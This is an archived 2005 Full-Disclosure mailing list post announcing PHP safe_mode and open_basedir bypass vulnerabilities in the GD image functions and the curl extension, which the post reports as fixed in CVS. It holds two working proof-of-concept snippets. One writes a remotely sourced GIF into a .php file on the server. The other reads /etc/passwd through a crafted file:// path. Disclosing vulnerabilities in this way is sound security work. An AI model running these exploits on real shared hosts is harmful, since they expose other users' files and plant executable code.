full-disclosure - PHP Safedir Restriction Bypass Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <8f6a58a30510171355x2d4faf93gf4d9801104dbea7e@mail.gmail.com>
Date: Mon Oct 17 21:55:34 2005
From: slythers at gmail.com (peter MC tachatte)
Subject: PHP Safedir Restriction Bypass Vulnerabilities

There is a vulnerability (Safedir Restriction Bypass) identified within the
GD extension affecting
the following functions:
- imagegif()
- imagepng()
- imagejpeg()

in /ext/gd/gd.c line 1647

Which is now fixed in the cvs
http://cvs.php.net/co.php/php-src/ext/gd/gd.c?r=1.312.2.1#1786
POC:

with an image like http://81.57.125.106/~slythers/file.gif
<?php
$im = imagecreatefromgif("file.gif");
imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
?>


curl openbasedir and safemode bypass.
POC:

<?php

mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch = curl_init("
file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd
");

$file=curl_exec($ch);

echo $file;

?>
As you notice, we can bypass the safedir which leads to access to any
files on any shared servers.

This is fixed in the cvs.
 slythers@...il.com
greets: david coallier <davidc@....net>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051017/707f75d3/attachment.html